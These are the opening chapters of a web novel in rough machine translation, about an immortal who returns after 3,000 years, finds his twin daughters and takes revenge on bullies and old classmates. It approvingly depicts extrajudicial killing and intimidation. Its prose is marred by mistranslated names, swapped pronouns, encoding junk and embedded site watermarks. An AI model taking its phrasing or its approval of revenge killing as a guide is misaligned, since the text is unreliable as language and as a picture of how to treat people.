《Invincible, Starts from Immortal Venerable Father》


 Chapter 1： 1 After 3000 years, the return is still a teenager!

    February 14th.


    Valentine''s Day.


    Beijiang City.


    Snow began to fall from the sky in the evening, but this still cannot stop the enthusiasm of the lovers, and the streets are overcrowded.


    while in Beijiang Park.


    Everything is still so quiet.


    There is a lake in the middle of Beijiang Park. The area is not very large, but because of the severe cold, the lake has been frozen.


    this moment.


    A rumbling sound came from under the lake.


    Click!


    After a loud noise, the frozen lake surface shattered like a giant punched, and the black lake water surged up.


    All the fish in the lake floated to the surface, and the air exuded a strong fragrance.


    was actually cooked.


    On the stone steps on the shore suddenly appeared a pair of white hands, then arms, and finally, a whole body of crystal skeleton slowly walked onto the shore from the water.


    The sky was overcast with clouds, and a huge cyclone appeared on the skull''s head.


    Skeleton raised his head, looked at the sky, and smiled strangely.


    With his smile, blood vessels and muscles began to appear on the skeleton''s body quickly, in the blink of an eye.


    Skeleton became a handsome man.


    The man murmured to himself, "Three thousand years...Unexpectedly three thousand years ago, I can come back!"


    Then the man raised his head, and a golden light burst out of his eyes.


    The huge cyclone in the sky shattered.


    At the same time, an incomparably majestic breath radiated from the man.


    For a while, the entire Beijiang City, and even the entire East, shuddered.


    Many elders who were sitting cross-legged opened their eyes together, their faces were terrified.


    Because they perceive an extremely powerful aura, this aura is so powerful, even just perceiving it for a moment, they will confine their souls.


    who is it?


    Will there be such an imposing manner?


    Xue An did not expect to be back.


    Three thousand years!


    Too much has happened in these three thousand years.


    The desolate young man has become one of the few immortals in the entire plane.


    If it weren''t for the final demonstration of the ultimate, it would have fallen short because of the lack of mood.


    Then Xue An is already the supreme existence of the entire plane.


    And when he was about to die, Xue An tore through time and space with supreme magical powers and finally returned to Earth.


    At this moment, Xue An''s breath began to weaken crazily.


    Xue An knows that this is the earth''s law of the heavens binding him.


    If it were changed to before, Xue An would be able to smash this weak and pitiful Heavenly Dao with his fingers.


    But now Xue An doesn''t even have the strength of one in a billion before.


    And Xue An didn''t care about it either.


    He just looked at the park sadly.


    At the beginning, he and An Yan often visited this park.


    "An Yan, are you... okay?" Xue An whispered to himself.


    Xue An once had a happy family.


    After graduating from university, he brought the school flower Anyan to this city in the eyes of everyone, either with envy or jealousy, and started a sweet life for two.


    At that time, both of them had no money and could only live in a small room.


    But the days at that time were very happy.


    Every day when Xue An comes back from get off work, An Yan cooked the meal early and waited for him at home.


    Xue An thought that life would go on like this happily and plainly.


    But later.


    An Yan''s family chased the city.


    Xue An learned that An Yan''s identity is actually the daughter of Zhongdu Anjia.


    Make a home in Zhongdu!


    This is a giant at the level of a giant, so powerful that even many large multinational companies are just their industries.


    And An Yan is the direct descendant of An Jia.


    Therefore, An Jia absolutely does not allow An Yan and Xue An to be together.


    Ke An Yan resolutely refused to go back, and even broke with the family.


    In desperation, the man who came to pick up Anyan threw a sentence for himself and left Beijiang.


    But this was just the beginning, and Xue An was unemployed afterwards, and no company dared to demand him.


    In desperation, Xue An went to work on the construction site, and no matter how tiring the work, he rushed to do it.


    is nothing else.


    because An Yan is already pregnant.


    But when Anyan''s belly was getting bigger and bigger, and when she was about to give birth, Xue An disappeared because of an accident on the construction site.


    Only Xue An knew that because of the accident, he had entered a strange world of gods and demons, where the weak and the strong.


    And this is three thousand years.


    suddenly.


    He was shocked all over, with a shocked expression on his face.


    He returned three thousand years later, but he did not expect that only four years have passed since the earth.


    This also means that An Yan is still alive!


    Although he is bound by the rules of heaven, Xue An''s remaining strength cannot be underestimated.


    He closed his eyes, and the whole Beijiang City was enveloped in a flash.


    It turned out to be nothing.


    As expected...


    An Yan has left Beijiang.


    A wry smile appeared at the corner of Xue An''s mouth. Her sudden disappearance must have given her a great blow!


    "An Yan, I''m back!"


    "Our child, is he born?"


    "Is it a boy or a girl? You said you like girls best, so you must be a pretty girl, right?"


    Xue An muttered to himself, and then began to search for people with blood connections with him with the supreme spirit.


    found it!


    Huh?


    How are two!


    Xue An was taken aback, a smile slowly appeared at the corner of his mouth, and then the whole person disappeared into the snowy night.


    On the street of Beijiang City, a couple is enjoying the snow scene.


    "Brother, sister is so beautiful, buy a flower for her!" A timid voice came from behind.


    The couple turned around and saw a little girl carrying a basket of flowers, looking at them with hopeful eyes.


    This little girl is only four or five years old, she looks like a pink jade, with big eyes, a small nose, and long eyelashes. It makes people want to take a bite.


    "What a cute little girl, are you still selling flowers when it is so cold?" The girl knelt down and asked with a smile.


    Both dimples of the little girl��s smile were revealed, "Well, sister, I��m not cold, buy a flower!"


    "Buy one!" The man also smiled and took out the money.


    But at this moment, another girl who looked almost exactly the same came over, "Brother, buy two, we two each one one!"


    Two little girls, not only look the same, but also dress the same. Standing together, they can almost make people cute.


    "Gosh, are you twins?"


    This picture is simply beautiful.


    "Which one of you is the older sister, and which is the younger sister?"


    "Sometimes I am my sister!"


    "Sometimes I am my sister!"


    The two little girls said milkily.


    The picture like ���� also attracted a lot of passersby, even for such a cute little girl, you have to pay for it!


    So after a while, the flowers of the two girls were sold out.


    But this also attracted a malicious look.


    Just when the two girls were carrying little flower baskets and were about to leave, a woman with a fat body and a gloomy face stopped the way.


    "Two bitches, who asked you to sell flowers on my site?" the woman angered.


    The two little girls were startled, and then said timidly: "Fat aunty, we don''t know this is your site! Let''s go now!"


    "Want to go?" When the woman waved her hand, a few unkind men surrounded the two girls.


    This woman is indeed a local snake on this street, she is called Sister Feng.


    She has been paying attention to the twin sisters for a long time. Seeing that they had sold so many flowers because of their cuteness in a short while, she felt crooked.


    If you can get your own hands, wouldn��t it be an extra cash cow?


    Both girls were terrified, one of them pushed a bit, "Sister, run!"


    "Run? None of you can run!" Sister Feng said with a grin.


    These men also gathered around.


    Although the little girls are thinking about running away, they are only four or five years old, how could they be the opponents of these adults.


    Soon, I was caught.


    "Fat aunty, please let us go, we won''t dare anymore!"


    "You still call me Fat Auntie? Tell you, I have investigated the two of you a long time ago, no father and no mother, wild children, if you are obedient, I can raise you, otherwise...huh!" Sister Feng did both.


    "We are not wild children, we have baba and hemp!" the two little girls shouted.


    "Oh? Then tell your Baba Ma Ma to come and save you!" Sister Feng smiled and showed her big yellow teeth.


    The two little girls were dimmed by the expression Feng Sister said, and whispered: "We are not wild children. Our Baba Mama just went far away, and they will come back!"


    "Haha, it''s so ridiculous to laugh, a wild child is a wild child, it''s useless to say anything!" Sister Feng smiled.


    "Do you know that you are really disgusting when you laugh!"


    With a calm voice, Sister Feng��s laughter stopped abruptly, UU reading www. A figure of uukanshu.com appeared at the end of the alley.


    At this moment, the wind and snow are strong, but this figure is as tall as a knife, and slowly walked over.


    "Who is it? Sister Feng works, and all the messy people are gone!" Sister Feng''s man scolded.


    Two little girls shouted: "Uncle, help us!"


    The person who came is naturally Xue An. He looked at the two little girls who were caught, and the tremor from blood told him that these two little girls are his own daughters!


    His heart trembled for it.


    Is this your own child?


    really looks like An Yan.


    No, those eyes are more like myself.


    Xue An couldn''t help but look a little silly.


    "Are you deaf? Can you not hear me if you let you go?" One of the men cursed and stretched out his hand to push Xue An.


    But the next moment, his hand was broken at the wrist.


    The blood spurted out, sprinkled on the snow, red and glaring.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh..." The man was stunned for a moment before yelling in pain.


    Xue An looked around the people present and slowly counted: "One, two, three..."


    "Do you count anything?" Someone roared to rush over.


    But as soon as he rushed out, his legs broke from the knees.


    Xue An waved his hand, and Fengxue blocked the sight of the two little girls.


    then faintly said to Sister Feng: "There are eight people in total, remember Huangquan Road, don��t get lost!"


    Sister Feng felt that the man''s eyes were like the supreme emperor, and she didn''t even have the qualifications to kneel and surrender.


    "No... forgive..."


    The voice stopped abruptly, because a trace of flame surged from under the feet of Sister Feng and others.


    In an instant, these eight people were burned to ashes.

 Chapter 2： My twin daughter

    The wind and snow dispersed, and the two little girls looked at Xue An with some fear.


    Xue An squatted down and said with a smile: "You two...what''s your name?"


    The two little girls looked at each other, and one of them said timidly: "I am my sister Xue Xiang."


    "This is my sister Xue Nian."


    Xue thought, Xue Nian!


    Xue An felt his heart tingling for a while, one can imagine how much An Yan cared about herself.


    "Uncle, where''s the fat aunt?" Xue Xiang asked.


    "Fat aunty... they left beforehand."


    "Uncle, who are you?" Xue Nian asked.


    "Yes! Who am I?" Xue An muttered to himself blankly.


    He was once a down-and-out boy and the supreme Immortal Venerable, but now, who is he?


    After a moment, a big smile appeared on Xue An''s face, "I am... your father!"


    "You lie!" Xue Xiang said.


    "Yes, you lie, Baba is actually dead!" Xue Nian agreed.


    Xue An looked at her twin daughters, and she suddenly felt infinite tenderness in her heart.


    "Baba is not dead, Baba just went to a far place at the time, now Baba is back!"


    "Really?" Xue Xiang looked at Xue An hesitantly.


    Xue An moved in his heart and took out a ring.


    This is the couple ring he bought back then, An Yan and him one by one!


    "Think about it, Nian Nian, look at this ring! There are the names of Baba and Mama on it!"


    Of course, Xue Xiang and Xue Nian could not recognize words, but Aunt Xuan''er said that when Ma Ma was leaving, she left them with a ring.


    Xue wants to carry it with him all the time, and when it comes out for a comparison, it turns out to be a pair!


    "Baba, is it really you!" Xue Xiang and Xue Nian said in unison.


    Xue An smiled and nodded, then stretched out his hands.


    Xue Xiang and Xue Nian glanced at each other, tears fell down, crying and rushed into Xue An''s arms.


    "Baba, we miss you so much!"


    "Baba, we thought you and Mama would never come back again, and thought you didn''t want us both!"


    Tears wet Xue An''s chest and Xue An''s eye sockets.


    Xianzun, who has not shed tears for three thousand years, no matter how hard it is, now tears are streaming down his face.


    "Okay, okay, stop crying, stop crying! Baba is back, Baba will never leave you again!"


    "Hmm!" The two little sisters put their little heads in Xue An''s arms, but refused to get up.


    Yes!


    In the past few years, the little sisters have tasted the sufferings of the world, and finally found a warm embrace, and naturally they did not want to leave.


    Xue An gently stroked the hair of the two of them, and said softly: "Why are you out selling flowers?"


    Xue wanted to raise his head, "Because we should go to kindergarten! But the tuition is a big problem, I will come to the street to sell flowers with Nian Nian, so we can make up for the tuition!"


    Xue An almost cried again when Xue thought.


    A four-year-old child, but bears the burden of life early, is distressed by being sensitive and precocious.


    Xue An touched Xue Xiang��s little head, and chuckled softly: ��There will be baba in the future, don��t worry about anything, I will make you the happiest pair of little princesses in the world, no, the universe!��


    The gate of a remote and dilapidated community in Beijiang.


    Xue Xiang and Xue Nian took a hand of Xue An and walked in excitedly.


    Xue An looked at the familiar scenery around him, feeling mixed.


    This is where he and An Yan lived for two years.


    Waiting to come to the familiar door, before knocking on the door, the door opened first.


    A handsome figure stood in front of the door with a smile in his mouth and said: "Think about it, Niannian, look at what Aunt Xuan''er brought you!"


    After seeing Xue An, this person was stunned.


    "Xue... Xue An?"


    Xue An looked at this familiar face and thought for a while before suddenly remembering.


    "Tang Xuan''er?"


    Xue Xiang and Xue Nian were very happy to pull Xue An''s hand at this time, "Aunt Xuan''er, our Baba is back!"


    Tang Xuan''er''s face was a little pale, and a trace of anger emerged immediately.


    "Xue An, where have you been in the past four years?"


    Xue An smiled bitterly, "Let me go in, okay?"


    "Aunt Xuan''er, don''t blame Baba, Baba has gone a long way, and he also said that he will never leave us again!" Xue Xiang said.


    After Tang Xuan''er and Xue An sat on the sofa in the living room, Xue An had probably understood what had happened in the past four years.


    After he disappeared, An Yan was born premature for half a month because of shock and anger. As a result, he bleeds heavily after giving birth and almost died on the operating table.


    As An Yan and Xue An��s classmates and friends, Tang Xuan''er takes care of her intricately.


    But on the day Anyan named the two children, a group of people rushed into the hospital and forcibly took Anyan away.


    Later, Tang Xuan''er learned that it was from Zhongdu Anjia, and Anyan had no news.


    The thoughts and thoughts left behind have become de facto orphans.


    Tang Xuan''er could choose to send them to the orphanage.


    But Tang Xuan''er didn''t do that. Instead, she assumed the responsibility of raising two children as an unmarried girl.


    Because of this, Tang Xuan''er paid too much!


    After Xue An knew everything, looking at Tang Xuan''er''s thin face because of exhaustion, infinite guilt emerged in his heart.


    "Xuaner...Thanks for your hard work!"


    "Actually...I like these two kids!" Tang Xuan''er said softly, looking at the little sister in the back room who was watching TV.


    "Tell me, where have you been in the past four years?"


    Xue An sighed, "There are many things that I can''t say, but I can tell you that I am back now, and I will never leave again!"


    Tang Xuan''er looked at Xue An and nodded after a while, "I hope what you said is true!"


    "Have you eaten?" Tang Xuan''er said.


    "No! How about going out to eat!" Xue An said.


    "You are now the baba of two children, save a bit if you can! I''m going to cook!" Tang Xuan''er stood up and went to the kitchen.


    After a while, the aroma of food floated in the room.


    Xue Xiang and Xue Nian are like two small cats, they come out after smelling the smell. U U Reading


    "It''s egg fried rice!"


    "No, it''s tomato fried rice!"


    The two girls were arguing, but their saliva almost came out.


    Xue An looked at this scene with a long-lost warmth in his heart.


    "Baba, Aunt Xuan''er''s fried rice is delicious or delicious!" Xue Xiang said.


    "Really? Besides fried rice, what else do you two little cats like?"


    "I like hamburgers and ice cream!" the two little girls shouted in unison.


    "Well, tomorrow Baba will take you to eat!"


    "really?"


    "Of course it''s true, let''s eat hamburgers first, then ice cream! Then go to the amusement park!"


    "Long live Baba!" The two little girls cheered.


    When the food was put on the table, Xue An took a bite. The long-lost taste made Xue An, who had been used to the delicacy of dragon liver and phoenix, suddenly understood what the taste of home was.


    After eating and drinking, Tang Xuan''er cleaned up the dishes and got up to leave.


    Xue An drove her downstairs and suddenly said, "Thank you!"


    Tang Xuan''er trembled in the dark, and then whispered: "Thank you! When are you going to find Anyan?"


    Xue An looked up at the sky, and said lightly: "Don''t worry, I''m not ready yet, one day, I will let An''s crawl on the ground, begging me to forgive, and then send An Yan back."


    Tang Xuan''er looked at Xue An''s profile, feeling mixed.


    Four years of time have transformed this once-green boy into a big man with a calm demeanor.


    Tang Xuan''er has only seen that kind of temperament in him in a handful of people.


    And those people are all outstanding elites.


    In the past four years...what has he experienced!

 Chapter 3： Market encounter

    The early morning bird calls awakened Xue An.


    He rarely slept so soundly.


    In fact, since he embarked on the road of cultivating immortals, he has basically never slept.


    Xue An thought of getting up, only to find that the two daughters were lying on top of him and sleeping.


    The two little girls who look exactly the same, like a jade, are asleep, so cute.


    Xue An smiled slightly, feeling that his heart suddenly calmed down.


    What kind of **** battle of immortality, all go away.


    I will be a qualified dad from today!


    "Baba, don''t go!" Xue Xiang in his sleep suddenly murmured, his long eyelashes trembling slightly.


    "Baba will never leave you, never!" Xue An said softly, as if to a child or himself.


    It was three poles in the sun before the two sisters Xue Xiang and Xue Nian woke up.


    Xue An squeezed the small fleshy faces of two people with his hands, and said with a smile: "Two lazy pigs, do they wake up after the sun has their butts?"


    Xue Xiang and Xue Nian only saw that the sun outside was already high, and they all became anxious.


    "Oh, hurry up, Baba will take us to a big meal today!"


    After a while, the two girls got dressed and washed.


    Xue Nian first sits on a pony, and Xue wants to skillfully comb her hair behind.


    After ����, Xue wanted to sit down, and Xue Nian combed her sister''s hair behind.


    Seeing the skillful techniques of the two children, Xue An''s eyes became a bit astringent.


    "You... do you usually do that?"


    "Yeah, Aunt Xuan''er said, we are girls. When we go out, only clean people will not be looked down upon!" Xue Xiang said solemnly.


    Xue An is a little funny.


    Now he also understands the tempers of his two daughters.


    Xue thinks that she is a big sister, and she has a temperament like a little adult. She speaks so sternly that people sometimes can''t help but laugh.


    Xue Nian is the younger sister, who is much gentler and shy in comparison.


    When the two daughters finished packing, Xue An couldn''t help but shine.


    The two girls are wearing the same clothes and the same hairstyles, and they are standing there like a mirror in the middle.


    Even Xue An is a little confused.


    "Baba, do you see who is our sister and who is our sister?"


    The two girls asked with a smile after turning a few times.


    Xue An was a little dizzy, "I don''t know! I really can''t tell it!"


    "Baba is so stupid! Look, I am my sister because my dimple is deeper on the left side."


    "I am my sister, my dimple is deeper on the right side!"


    Xue An looked at his two smart daughters and couldn''t help but step forward and hug them.


    "Go! Two little babies, let''s have a big meal!"


    The most prosperous pedestrian street in Beijiang City.


    Xue An swaggered across the city holding his two daughters, one hand one by one.


    Xue An was originally handsome and extraordinary, and after these three thousand years of experience, he has become more charming.


    And the two little girls, look exactly the same, very cute and cute.


    This combination naturally attracted countless eyeballs.


    Many people couldn''t help but stop, and there was a little smile on their faces.


    "Baba, where are we going?" Xue Xiang asked quietly.


    "Of course I go to eat a hamburger!"


    Xue wanted to take out some money from his pocket and pinch it to Xue An with his small hand.


    "Baba, this is the money we can sell!"


    Xue An was taken aback.


    Then I understood what Xue Xiang meant.


    This four-year-old girl is afraid that she has no money to take them to dinner!


    Xue An laughed dumbly.


    "Good girl, no need, Baba is rich!"


    Xue An put some change in the piggy bank at home, but now when he comes back, he finds that the money is still there.


    Although there are not many, only more than 1,000 yuan, but at least it can handle it for a while.


    As for the future.......


    Xue An feels that he is a goddess at any rate, are you still worried about how to make money?


    To tell the truth, the hamburger is ugly, but Xue An still eats it with relish.


    As long as you stay with your daughter, it doesn''t matter what you eat.


    "Are you full?" Xue An asked.


    "We want to pack the rest to eat at night!" Xue Xiang whispered.


    Xue An was stunned for a moment, then sighed and said, "Think about it, Niannian, you look at Baba!"


    "I know you have suffered before, but now Baba is back, what you want to eat or play, just tell Baba, Baba will definitely satisfy your wishes! Don''t be so sensible, Baba will feel distressed! What you should do is to enjoy. Play and eat to your heart''s content!"


    Xue Xiang and Xue Nian nodded in understanding.


    "Go! Let''s go eat ice cream now!"


    at dusk.


    Xue Xiang and Xue Nian are holding a huge teddy bear, with happy smiles on their faces.


    Xue An followed, watching the backs of his two daughters bouncing around, and a smile appeared on his face.


    "Baba, where are we going?" Xue Xiang asked.


    Xue An smiled slightly, "Go buy something! Then Dad will make you something delicious!"


    "Oh!" Xue Nian, an authentic snack, cheered when he heard something delicious.


    Xue wanted to hate iron and knocked his sister on the head, and then slammed his little hand on his hips and reprimanded: "Eat, eat, you know how to eat, look at your face, the fat is round!"


    In fact, her face seems to be rounder.


    But Xue Nian still clutched his head and giggled.


    Xue An led his daughter to the largest medicinal material trading market in Beijiang.


    Xue An is going to buy some medicinal materials here, and then refine Pei Yuan Dan.


    Pei Yuan Dan is the most basic medicine.


    Mortal people can strengthen their physical fitness after taking it.


    Xue An is preparing to refine it for his daughter to eat.


    , he used to be Xianzun, it is easy to refine such a medicine, but Xianzun can''t make medicinal materials out of thin air.


    Especially today, the earth is lacking in aura, and there are no medicinal materials that can be eye-catching.


    So after Xue An turned around, UU reading couldn''t help but feel a little disappointed.


    "Yeah, isn''t this a gifted scholar Xue?"


    Xue An looked up and saw a man in a suit and leather shoes standing on the side of the road, beside him was a beautifully dressed woman with heavy makeup.


    Xue An frowned slightly, and after thinking for a moment, he remembered who this person was.


    Lin Feng.


    High school classmates.


    This family is a medicinal business. The scale is quite large, and he is a rich second generation.


    But Xue An had a bad relationship with this person when he was in school.


    "I heard that talented scholar Xue disappeared four years ago and there has been no news. Why did you come back suddenly?" Lin Feng said, and couldn''t help but look at Xue An.


    When he found that Xue An was wearing old fashioned clothes and his whole body was full of street goods, the disdain on his face grew thicker.


    Xue An didn''t care about this.


    Will you care about an ant?


    Lin Feng said again: "Oh, I forgot to introduce, you should know this person too!"


    said and pointed to the woman next to him.


    "Speaking of which, you two are still acquaintances! Are you Du Juan?"


    Du Juan.


    Xue An just remembered now.


    No wonder this woman is very familiar, she turned out to be a high school classmate.


    And I, who was ignorant and ignorant, chased Du Juan.


    It��s just that when Du Juan was in school, she was very good at using her beauty to gain benefits. She did not refuse or agree to the handsome Xue An, and she always fished Xue An casually.


    Xue An didn''t understand until later, so he began to study hard, and finally was admitted to Zhongdu University.


    I didn''t expect to see these two guys here.


    A faint smile appeared at the corner of Xue An''s mouth.

 Chapter 4： Hey! Old man, you are going to die soon.

    Du Juan looked at Xue An a few times, then turned her head in disgust, and said softly: "Shao Lin, it''s all about the sesame seeds and rotten grains, so don''t mention it, people are only you now!"


    Lin Feng gave a sneer, and his heart was very cheerful.


    When he was in school, he saw Xue An not pleasing to his eyes.


    Although the original family background, Xue An was handsome, so many girls liked him, which made Lin Feng very jealous.


    Now that Xue An is so downhearted, he is naturally very comfortable.


    "Baba, this aunt is so ugly." Xue Xiang said suddenly.


    Du Juan''s face instantly turned blue.


    Xue An smiled slightly, leaned down and picked up his two daughters, "Some people just look ugly, let''s not look at her!"


    "What do you mean by the surname Xue? Also, who are these two wild girls?" Du Juan said angrily.


    Xue An suddenly stopped, narrowed his eyes and stared at Du Juan.


    Du Juan was fierce, but when Xue An''s eyes stared at it, she felt like she was frozen and unable to move at all.


    "Baba." Xue Xiang''s shout made Xue An recover.


    He did have a murderous heart just now.


    dare to insult his daughter, but he can kill but not stay.


    But in the public, this is indeed a bit too public.


    Xue An glanced at the frightened Du Juan, then turned and left.


    Lin Feng came over and found that Du Juan had been scared to pee her pants.


    And when Xue An left, someone not far away noticed him.


    These are three people, one of them is a gray-haired old man, and a beautiful and refined girl, beside him stands a strong bodyguard in black.


    "So strong! This young man is not easy!" The old man sighed.


    "Grandpa, are you talking about the man holding the baby? I don''t think so much!" The girl said disdainfully.


    If someone else is present, I will shout out in surprise.


    Because of this old man, he is actually Qin Yuan, the chairman of Longtai Group, the largest company in Beijiang City.


    This girl is Qin Yuan''s granddaughter, Qin Yu.


    "Yu''er, you don''t understand, this young man has just been murderous. Although it is fleeting, his evil spirit is extremely strong. If you don''t believe me, ask the old black!"


    "Old Black, is this man really that amazing?" Qin Yu asked.


    Lao Hei is the strong bodyguard, he nodded solemnly, "Very powerful, he is so murderous, I have only seen him in the army general Lin!"


    General Lin!


    Even Qin Yu''s expression changed dramatically.


    That is a mythical name.


    Known as the existence of Huaxia Soldier King!


    Old Hei actually said that the grandpa holding the baby is so powerful that he can compare with General Lin?


    "I don''t believe it!" Qin Yu stared at Xue An''s back a little unconvinced.


    At this moment, Xue An also noticed the hostility behind him, and when he turned around, he happened to see Qin Yu''s unconvincing gaze.


    He smiled slightly and walked over.


    Lao Hei stepped forward and blocked the two of Qin Yuan.


    Xue An said lightly: "Old man, you are going to die soon, you know?"


    Qin Yuan''s expression changed drastically when he said this.


    Qin Yu was furious, "Old Hei, give this kid a lesson!"


    Old Hei gave a hum, his muscles swelled up suddenly, and then he punched out.


    With a whistling wind, his fist went straight to Xue An''s face.


    Xue An said lightly: "Think about it, miss it, close your eyes!"


    The two girls closed their eyes obediently.


    At this time, Xue An held the child in both hands, and faced the opponent with a shocking punch, as if inevitable.


    Lao Hei looked solemn, because he peeped into extreme danger from Xue An''s slightly thin body.


    This feeling is even more terrifying than when facing General Lin alone.


    It seems that there is an ancient dragon hidden in the opponent''s body, and it is about to choose someone to eat.


    "Stop!" At this moment, Qin Yuan shouted.


    Lao Hei''s fist stopped when it was only an inch away from Xue An''s nose.


    The fist wind that ���� brought up even swayed Xue An''s hair.


    But Xue An didn''t even blink his eyes.


    The old black was relieved and quickly retreated aside.


    Qin Yuan stepped forward at this time and suddenly bowed to Xue Anshen.


    "Little sir, please save my life!"


    And at this time, Lin Feng and Du Juan also saw this scene, especially when they saw the tall and majestic Lao Hei about to attack Xue An, they were extremely excited.


    It''s a pity, but in the end this old guy stopped drinking.


    This makes Lin Feng a little unhappy.


    When he saw that Qin Yuan was so respectful to Xue An and asked him to help him, Lin Feng almost laughed.


    "Hey, old man, I know this kid, he''s a tramp who abandons his wife and son. You are so ridiculous to ask him for help!"


    Xue An''s eyes gradually cooled.


    Although people don��t care about the provocation of the ants, if the ants keep seeking death again and again, they will not blame others.


    "Do you want to survive? Let the person who speaks be destroyed first!" Xue An said lightly.


    "Make my family ruined? Xue An, I wonder if you have been to a mental hospital in the past four years. How do you say so upset? Just rely on this old guy? Let my family ruined?" Lin Feng laughed.


    Qin Yuan stood up and said respectfully: "Yes!"


    Then turned to Lin Feng, and asked in a deep voice, "Who are you?"


    "This is our Lin Shao, the young boss of the Lin Group." Du Juan said first.


    "Lin Group?" Qin Yuan frowned, then asked Qin Yu beside him.


    "There is a Lin Group in Beijiang City?"


    Qin Yu shook his head, "I haven''t heard of it!"


    Du Juan sneered at this time: "How can you group of mud legs know the Lin group? I tell you, all the medicinal materials in Beijiang have the Lin group''s final say!"


    Lin Feng smiled quite contentedly, UU reading www.uukanshu. com "Old guy, aren''t you dying? Our house happens to sell medicine. Would you like some medicine?"


    Qin Yuan hadn''t spoken yet, Qin Yu was already furious and took out his mobile phone and started calling.


    Lin Feng''s greedy eyes rolled around Qin Yu''s body, then he smiled, "Call to find someone? Okay! I think who else in Beijiang would dare to deal with our Lin Group!"


    Qin Yu dialed the phone and said solemnly: "Completely block the Lin Group!"


    Du Juan covered her mouth and smiled sarcastically: "Lin Shao, you see these people are really funny, I just want to block your family when I make a call!"


    Lin Feng smiled, "These days, there are too many people pretending to be forced, so it''s so messy!"


    But within two minutes, Lin Feng''s phone rang. He picked it up and saw that it was from home.


    "Hey, Dad, what''s the matter?"


    An angry roar came through the phone.


    "You wicked species, who did you offend outside? Why did Longtai Group suddenly announce that it wants to completely block our Lin Group!"


    "What?" Lin Feng was shocked!


    "Longtai Group?"


    The name ���� is like a curse, making Lin Feng and Dujuan petrified on the spot.


    That is the leading enterprise in Beijiang City, the real giant.


    Compared with it, the Lin Group is no different from the street stall selling pancakes.


    "Dad, did you make a mistake?"


    "How can I make a mistake, the secretary of the Longtai Group personally called and said that it was the order given by the lady of the Longtai Group!"


    "It''s over, everything is over!" Lin Feng was pale and limp on the ground.


    He never dreamed that the person he ridiculed casually would be the daughter of Longtai Group!

 Chapter 5： Without him, its not pleasing to the eye!

    "Shao Lin, did you make a mistake!" Du Juan said palely.


    Lin Feng jumped up and slapped Du Juan''s face.


    Snapped.


    The slapped Du Juan''s left cheek was swollen.


    "You bitch, it''s all because of you. If it wasn''t for you, our family would not be blocked!"


    Du Juan shivered with fright, and the powder on her face kept falling.


    Lin Feng turned around, plopped and fell to his knees, and then begged: "Master Qin, Miss Qin, please let our Lin family go, I know it''s wrong!"


    Qin Yu gave a cold snort, turned his face, and ignored him.


    Qin Principle gave Xue An a hand, "Little sir, do you think this works?"


    Lin Feng saw Xue An, as if a drowned man had caught the straw, crawling over.


    "Xue An, Brother Xue, please say something, let our Lin family go, I know it''s wrong, all this is made by a **** like Du Juan, please forgive me!"


    Xue An looked at Lin Feng, who was in tears, and said lightly: "The home is broken, but the person has not died yet."


    As soon as ���� came out, the audience was quiet.


    Qin Yu frowned, even more disliked this man in his heart.


    Lin Feng trembled all over, then raised his head and looked at Xue An with incredible eyes.


    In his impression, Xue An is not like this.


    Xue An was a good boy when he was in school. Even if he was bullied, he would not resist.


    So Lin Feng thought that when he knelt down and begged for mercy, Xue An would let him go.


    Unexpectedly, he not only wants his own home broken, but also his own death.


    At this time, Du Juan came over timidly, "Xue...Xue An, you can just spare Lin Shao, he knows that he is wrong, I have to forgive others and forgive others..."


    Xue An ignored her, but leaned down and smiled at his two daughters: "Think about it, Nian Nian, you go to play there, Baba will come to you in a while!"


    "Hmm! Baba, hurry up!" Xue wanted to leave with his sister.


    Xue An just stood up and looked at the cuckoo shivering, but still trying to show his charm.


    "Be forgiving and be forgiving? Hehe, then do you think that if it is me who is begging for mercy, will you let me go?"


    Du Juan hesitated for a while, Xue An walked up to her and stared at her face that was torn by various cosmetics.


    "Answer me! Will it?"


    "Yes!" Du Juan whispered, then looked up, and said very seriously: "Xue An, in fact, when I was in school, I have always liked you very much. For so many years, I have not forgotten you, I..."


    I didn''t finish the words afterwards, because Xue An''s eyes made her have the courage to continue speaking.


    "I''m really surprised, why someone like you is still liked."


    After saying this, Xue An turned around and left, leaving the pale-faced cuckoo standing there shivering.


    Xue An walked in front of Lin Feng, and Lin Feng flinched back in fear.


    "You... what are you going to do? I tell you, broad daylight is bright, if you dare to do anything, wait for jail..."


    Xue An kicked Lin Feng over, and then stepped on his face without waiting for him to raise his head.


    Lin Feng struggled hard, but couldn''t shake Xue An at all.


    "I know, in fact, when you went to school, you were very unconvinced with me, didn''t you?" Xue An said lightly.


    Lin Feng felt that the foot he was stepping on his face weighed a lot, and his head seemed to be exploded soon.


    "Brother Xue, Grandpa Xue, please forgive me! Please, I won''t dare to fight you again!" Lin Feng cried, his crotch was hot, and he was scared to pee.


    "These words, save them to say below." Xue An said calmly.


    He did have a murderous intention, although in the public, the murder was indeed very public.


    But Xue An, who was once a goddess, didn''t care much about these.


    The law of the world is used to restrain ordinary people, even if one''s current strength is not even one inch, but Xianzun is Xianzun, and no one is allowed to desecrate.


    But at this moment, an old and hasty voice came, "Be merciful under your feet, merciful under your feet!"


    Then a sweaty old man squeezed out of the crowd, and Lin Feng almost cried when he saw him.


    "Dad, save me!"


    The person who came is Lin Feng''s father, Lin Danian, the director of the Lin Group.


    He hated iron and steel and glared at Lin Feng, then cautiously smiled at Qin Yuan.


    "Master Qin, don''t you remember me?"


    Qin Yuan thought for a while before nodding, "It turned out to be Chairman Lin!"


    Lin Danian smiled bitterly, "Master, I originally wanted to go to your company, but I heard that you were here, so I hurried over. Our Lin family and your company have been cooperating happily. Why should we suddenly block it?"


    Qin Yuan pointed at Xue An and said, "Is this... I have to ask this little gentleman."


    Lin Danian''s heart was shocked. He thought that his ineffective son had offended the Qin family.


    did not think it was because of this ordinary man.


    Looking at Qin Yuan''s appearance, he seemed to respect this man very much.


    Where did he come from?


    At this time, Lin Feng cried and shouted: "Dad, save me, he wants to kill me!"


    Lin Danian is a troubled businessman, so he pondered for a while and said respectfully: "This little brother, dare to ask my son what has offended you and made you want to kill him?"


    Xue An raised his head, UU read www.uuk��nshu.com and glanced at Lin Danian.


    This look made Lin Danian feel that his scalp was tight.


    He has never seen such a terrible look in his eyes.


    That is a kind of complete indifference to life.


    seems to be a high emperor, looking down at everything.


    Lin Danian couldn''t help being shocked.


    What is the origin of this person?


